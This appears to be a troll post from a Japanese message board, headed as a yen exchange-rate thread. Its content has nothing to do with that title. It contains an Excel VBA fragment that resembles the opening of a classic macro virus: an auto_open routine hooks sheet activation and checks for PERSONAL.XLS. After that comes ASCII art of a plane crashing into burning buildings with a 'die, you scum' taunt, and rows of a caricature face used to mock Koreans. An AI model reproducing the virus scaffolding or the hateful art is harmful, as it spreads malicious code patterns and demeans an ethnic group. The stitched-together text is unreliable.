円高？円安？Part581♪

Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

　　　　　　　　（＼
　　　　　　　　　＼＼
　　　　　　 　　　（＼＼
　　　　 　　　　　　＼＼＼
　　　　 　　　　　　（＼＼＼＼
　　　　 　　　　　　（＼＼＼＼＼
　 　　　　　　　　　　＼＼ ｜｜｜
（￣￣￣￣￣￣￣￣￣＼ ｜ ⊂⊃
　￣￣（￣￣／／／／￣＼　 ∧ ∧　 　 ／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　￣（／／／／￣＼＼( ゜Д゜) ＜　氏ねやカス共　ｺﾞﾙｧ !!
　　　"．;":　　（／（／／／￣（つ　つ 　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
"．;":　　　　　　　　　（／（／｜ 　＼＼
　．;"．;":　．．;"．;;:　　（／（（/ ∧｜＼＼　　　　　　　．;"．;":　．．;．;"．;
　　　．;"．;":　．．　　；　　　 ∪　∪　　＼＼　　　　　　　　　．;"．;":　．．;．;"．
．;"．;"　　　　．;"．;　　　　　　　　　　　　 ＼＼
　　　ゴ　オ　ォ　ォ　……　！　！　　 　　　＼＼　　　;":　．．;．;"．;":
　　　　　　　　　　．;"．;":　＿．;．;__　　　　　 　＼＼　　　ド　カ　ァ　ン　！
　．;"．;":　．．;．;"．;　ζ /＿．;＿/|　．;"．;"＿　＼＼　　．;"．;．;"．;":
．;"．;":　．．;．;"．;":　;:'．;| ΓΓ |　|;":从へ＿/|　　＼＼．;"．;"＿．;_＿．．:
从へ从へへ从　　;　ζ 　| Γ从 |　|;:..　|从Γ | |　　　 ＼＼　∠＿＿_／|
　　　 （　⌒（　⌒　）　ζ　| 从Γ |　|.:;.　|从Γζ．;"．＿ ＼＼|ΓΓΓ|　|
（　　　⌒　⌒　　⌒　）;　　| ΓΓ | |．;;::|ΓΓ | |　　（　从へ;: |从ΓΓ|　|
　Σ（　⌒（　⌒　）　ζ　　（　（　）　）⌒　）　（　从へ从）_．;;:．;|Γ从Γ|　|
　（　（（　（　⌒　））　）　　从　Σ（　⌒（　　从へ从）　∠＿＿_／|
Σ　（（　（　⌒　））　）　）（（　⌒　（　从へ从）　．;"．;:;|ΓΓΓ|　|
　（（　⌒　（　（　）　）⌒　）;:;　　　．;"．;":　．．;．;"．;":|从ΓΓ|　|

　［　(★)　］_
　　<丶｀∀´>＿＿＿,,　　　　　　　　　 　　　 　＿＿＿＿＿＿＿＿＿＿＿＿
　　 (つニ∩---'￣￣　　　　　　　　　　　　　　/　　　　　　　　　　　　　　　　 /
　　 人　ヽﾉ 　　　　　　　　　　　　　　　 　　　/＿＿＿＿＿＿＿＿_＿＿＿/
　 〈__〈　 ［　(★)　］_　　　　　　　　　　　　　 /　　　　　　　　　　　 ／￣＼ ./
　　　　　<丶｀∀´>＿＿＿,,　　　　　　　　　/　　　　　　　　　　　/　 ★　//
　　 　　　(つニ∩---'￣￣　　　　　　　　 /　　　　　　　　　　　　＼＿／/
　　　　　 人　ヽﾉ　　　　　　　　　　　　　 /￣￣￣￣￣￣￣￣￣￣￣/
　　　　 〈__〈_＿ﾌ　　　　　　　　　　　　　/＿＿＿＿＿＿＿＿＿＿＿./
　　　　　　　　　　　［　(★)　］_　　　　　 　　　　　　　　　　［　(★)　］_/
　　　　　　　　　　　<丶｀∀´>＿＿＿,,　　　　　　　　　　　<丶｀Д´>/
　　　　　　　　　　　 (つニ∩---'￣￣　　　　　　　　　　　　つ　 ：　つ
　　　　　　　　　　　　人　ヽﾉ　　　　　　 　　　　　　　　　　　人　ヽﾉ　　　
　　　　　　　　　　　〈__〈_＿ﾌ　　　　　　　　　　 　 　　　　 .〈__〈_＿ﾌ
　　［　(★)　］_　　　　　　　　　　 ［　(★)　］_
　　<丶｀∀´>＿＿＿,,　　　　　　<丶｀∀´>＿＿＿,,
　　 (つニ∩---'￣￣　　　　　　 (つニ∩---'￣￣
　　 人　ヽﾉ　　　　　　　　　　　　人　ヽﾉ　［||(★)||］_
　 〈__〈　 ［　(★)　］_　　　　　　 〈__〈_＿ﾌ <丶｀Д´>┏
　　　　　<丶｀∀´>＿＿＿,,　　　　　　　 .（”　　：” つ
　　 　　　(つニ∩--［　(★)　］_　　　　　　人　ヽﾉ